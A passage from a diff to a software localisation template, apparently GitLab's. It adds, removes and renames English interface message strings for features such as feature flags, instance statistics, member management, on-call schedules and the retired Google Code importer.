msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14505,6 +14873,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17227,12 +17637,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17290,7 +17694,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17386,6 +17790,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17511,6 +17918,9 @@ msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_si
msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on %{locked_project_count} projects. To unlock them, please purchase additional storage"
msgstr[0] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17544,6 +17954,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17769,7 +18182,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -17920,6 +18333,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18025,9 +18441,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18211,9 +18624,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18250,6 +18660,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18268,6 +18681,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18280,6 +18696,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18319,6 +18738,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18355,9 +18777,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18373,6 +18801,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18382,6 +18813,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18508,6 +18942,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18523,9 +18984,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18550,9 +19008,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18565,6 +19020,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18574,7 +19035,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18596,9 +19057,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18680,6 +19138,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18746,9 +19207,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18794,6 +19252,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -18950,6 +19411,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19064,6 +19528,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19088,9 +19555,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19355,6 +19819,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19463,9 +19930,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
